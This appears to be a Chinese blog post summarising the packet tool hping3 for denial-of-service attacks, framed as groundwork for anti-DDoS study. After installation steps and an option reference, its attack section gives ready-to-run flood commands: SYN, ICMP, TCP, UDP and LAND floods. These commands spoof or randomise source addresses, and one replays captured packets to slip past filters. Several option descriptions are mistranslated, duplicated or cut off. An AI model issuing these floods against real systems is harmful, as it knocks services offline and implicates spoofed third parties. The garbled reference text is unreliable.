hping3拒绝服务攻击小结
·
- Author:ZERO-A-ONE
- Date:2021-02-15
最近在研究Anti-DDoS势必要了解如何发起DDoS攻击,于是就接触到了hping3这款发包工具
一、简介
hping是面向命令行的用于生成和解析TCP/IP协议数据包汇编/分析的开源工具。作者是Salvatore Sanfilippo,界面灵感来自ping(8)unix命令,目前最新版是hping3,它支持TCP,UDP,ICMP和RAW-IP协议,具有跟踪路由模式,能够在覆盖的信道之间发送文件以及许多其他功能,支持使用tcl脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测
二、安装
yum install libpcap-devel tc-devel
ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h
wget http://www.hping.org/hping3-20051105.tar.gz
tar zxvf hping3-20051105.tar.gz
cd hping3-20051105
./configure
make
make install
三、命令使用
命令语法:
$ hping3
选项含义:
-H --help 显示帮助。
-v -VERSION 版本信息。
-c --count count 发送数据包的次数 关于countreached_timeout 可以在hping2.h里编辑。
-i --interval 包发送间隔时间(单位是毫秒)缺省时间是1秒,此功能在增加传输率上很重要,在idle/spoofing扫描时此功能也会被用到,你可以参考hping-howto获得更多信息-fast 每秒发10个数据包。
-n -nmeric 数字输出,象征性输出主机地址。
-q -quiet 退出。
-I --interface interface name 无非就是eth0之类的参数。
-v --verbose 显示很多信息,TCP回应一般如:len=46 ip=192.168.1.1 flags=RADF seq=0 ttl=255 id=0 win=0 rtt=0.4ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0
-D --debug 进入debug模式当你遇到麻烦时,比如用HPING遇到一些不合你习惯的时候,你可以用此模式修改HPING,(INTERFACE DETECTION,DATA LINK LAYER ACCESS,INTERFACE SETTINGS,.......)
-z --bind 快捷键的使用。
-Z --unbind 消除快捷键。
-O --rawip RAWIP模式,在此模式下HPING会发送带数据的IP头。
-1 --icmp ICMP模式,此模式下HPING会发送IGMP应答报,你可以用--ICMPTYPE --ICMPCODE选项发送其他类型/模式的ICMP报文。
-2 --udp UDP 模式,缺省下,HPING会发送UDP报文到主机的0端口,你可以用--baseport --destport --keep选项指定其模式。
-9 --listen signatuer hping的listen模式,用此模式,HPING会接收指定的数据。
-a --spoof hostname 伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。
-t --ttl time to live 可以指定发出包的TTL值。
-H --ipproto 在RAW IP模式里选择IP协议。
-w --WINID UNIX ,WINDIWS的id回应不同的,这选项可以让你的ID回应和WINDOWS一样。
-r --rel 更改ID的,可以让ID曾递减输出,详见HPING-HOWTO。
-F --FRAG 更改包的FRAG,这可以测试对方对于包碎片的处理能力,缺省的“virtual mtu”是16字节。
-x --morefrag 此功能可以发送碎片使主机忙于恢复碎片而造成主机的拒绝服务。
-y -dontfrag 发送不可恢复的IP碎片,这可以让你了解更多的MTU PATH DISCOVERY。
-G --fragoff fragment offset value set the fragment offset
-m --mtu mtu value 用此项后ID数值变得很大,50000没指定此项时3000-20000左右。
-G --rroute 记录路由,可以看到详悉的数据等等,最多可以经过9个路由,即使主机屏蔽了ICMP报文。
-C --ICMPTYPE type 指定ICMP类型,缺省是ICMP echo REQUEST。
-K --ICMPCODE CODE 指定ICMP代号,缺省0。
--icmp-ipver 把IP版本也插入IP头。
--icmp-iphlen 设置IP头的长度,缺省为5(32字节)。
--icmp-iplen 设置IP包长度。
--icmp-ipid 设置ICMP报文IP头的ID,缺省是RANDOM。
--icmp-ipproto 设置协议的,缺省是TCP。
-icmp-cksum 设置校验和。
-icmp-ts alias for --icmptype 13 (to send ICMP timestamp requests)
--icmp-addr Alias for --icmptype 17 (to send ICMP address mask requests)
-s --baseport source port hping 用源端口猜测回应的包,它从一个基本端口计数,每收一个包,端口也加1,这规则你可以自己定义。
-p --deskport [+][+]desk port 设置目标端口,缺省为0,一个加号设置为:每发送一个请求包到达后,端口加1,两个加号为:每发一个包,端口数加1。
--keep 上面说过了。
-w --win 发的大小和windows一样大,64BYTE。
-O --tcpoff Set fake tcp data offset. Normal data offset is tcphdrlen / 4.
-m --tcpseq 设置TCP序列数。
-l --tcpck 设置TCP ack。
-Q --seqnum 搜集序列号的,这对于你分析TCP序列号有很大作用。
-h | –help | 显示帮助 |
---|---|---|
-v | –version | 显示版本 |
-c | –count | 数据包计数 |
-i | –interval | 等待 (uX即X微秒, 例如: -i u1000) |
–fast | 等同 -i u10000 (每秒10个包) | |
–faster | 等同 -i u1000 (每秒100个包) | |
–flood | 尽最快发送数据包,不显示回复。 | |
-n | –numeric | 数字输出 |
-q | –quiet | 静默模式 |
-I | –interface | 接口名 (默认路由接口) |
-V | –verbose | 详细模式 |
-D | –debug | 调试信息 |
-z | –bind | 绑定ctrl+z到ttl(默认为目的端口) |
-Z | –unbind | 取消绑定ctrl+z键 |
–beep | 对于接收到的每个匹配数据包蜂鸣声提示 |
-0 | –rawip | 原始IP模式 |
---|---|---|
-1 | –icmp | ICMP模式 |
-2 | –udp | UDP模式 |
-8 | –scan | SCAN模式 |
-9 | –listen | listen模式 |
-a | –spoof | 伪造源地址 |
---|---|---|
–rand-dest | 随机目的地址模式。详细使用man命令 | |
–rand-source | 随机来源地址模式。详细使用man命令 | |
-t | –ttl | ttl (默认64) |
-N | –id | id (默认随机) |
-W | –winid | 使用win* id字节顺序 |
-r | –rel | 相对id字段(估计主机流量) |
-f | –frag | 拆分数据包更多的frag |
-x | –morefrag | 设置更多的分段标志 |
-y | –dontfrag | 设置不分段标志 |
-g | –fragoff | 设置分段偏移 |
-m | –mtu | 设置虚拟最大传输单元 |
-o | –tos | 服务类型(默认为0x00),尝试–tos帮助 |
-G | –rroute | 包含RECORD_ROUTE选项并显示路由缓冲区 |
–lsrr | 松散源路由并记录路由 | |
–ssrr | 严格源路由并记录路由 | |
-H | –ipproto | 设置IP协议字段,仅在RAW IP模式下使用 |
四、攻击测试
3.1 SYN Flood
命令操作:
hping3 -c 100000 -d 120 -S -w 64 -p 21 --flood --rand-source www.xxx.com(IP)
参数含义:
- hping3:应用名称
- -c 100000:需要发送的包(packets)的数量(非必须)
- -d 120:包(packets)的大小(非必须)
- -S:只发送SYN packets
- -w 64:TCP窗口(Windows)的大小(非必须)
- -p 21:伪造包为21端口(可以为任意值)
- –flood:尽可能快的利用全部系统资源发包,泛洪攻击模式
- –rand-source:伪造随机的源IP地址,也可以使用-a伪造特定的IP地址
- www.xxx.com(IP):需要攻击的目标主机域名或IP地址
3.2 ICMP Flood
命令操作:
$ hping3 -q -n -a 10.0.0.1 --id 0 --icmp -d 56 --flood 192.168.0.2
参数含义:
- -q:静默模式(非必须)
- -n:数字输出
- -a 10.0.0.1:伪造源地址为10.0.0.1
- –id 0:表示有ICMP回显(ICMP echo request也就是ping)
- –icmp:ICMP模式
- -d 56:目标端口56
在真实世界中的攻击环境中,到目前为止,很多系统配置中都会选择自动丢弃通过hping生成的头部设定不正确的ICMP包,面对这种情况我们可以不使用hping生成的数据包,而是真正的通过抓包软件获得正常的ICMP回显请求报文,然后使用hping3进行重播
命令操作:
$ hping3 -q -n --rawip -a 10.0.0.1 --ipproto 1 --file "./xxxx.bin" -d 64 --flood 192.168.0.2
参数含义:
- -q:静默模式(非必须)
- -n:数字输出
- –rawip:RAWIP模式,在此模式下HPING会发送带数据的IP头
- –ipproto:设置IP协议字段,仅在RAW IP模式下使用
- –file:需要重放的文件地址
3.3 TCP Flood
命令操作:
$ hping3 -SARUPF -p 80 -–flood –rand-source 192.168.100.1
参数含义:
- -SARUPF:
3.4 UDP Flood
命令操作:
$ hping3 –udp -s 6666 -p 53 -a 8.8.8.8 -–flood 192.168.100.1
参数含义:
- -udp:UDP模式
- -s:用源端口猜测回应的包,它从一个基本端口计数,每收一个包,端口也加1,这规则你可以自己定义
3.5 LAND攻击
命令操作:
$ hping3 -n -S -p 80 -a 192.168.100.1 -–flood 192.168.100.1
3.6 混合大小包攻击
命令操作:
$ time(hping3 --syn -d 1600 -x -m 600 --id 1020 -c 1 192.168.10.100 & hping3 --syn -d 1600 -x -m 400 --id 1020 -c 1 192.168.10.100)
更多推荐
已为社区贡献4条内容
所有评论(0)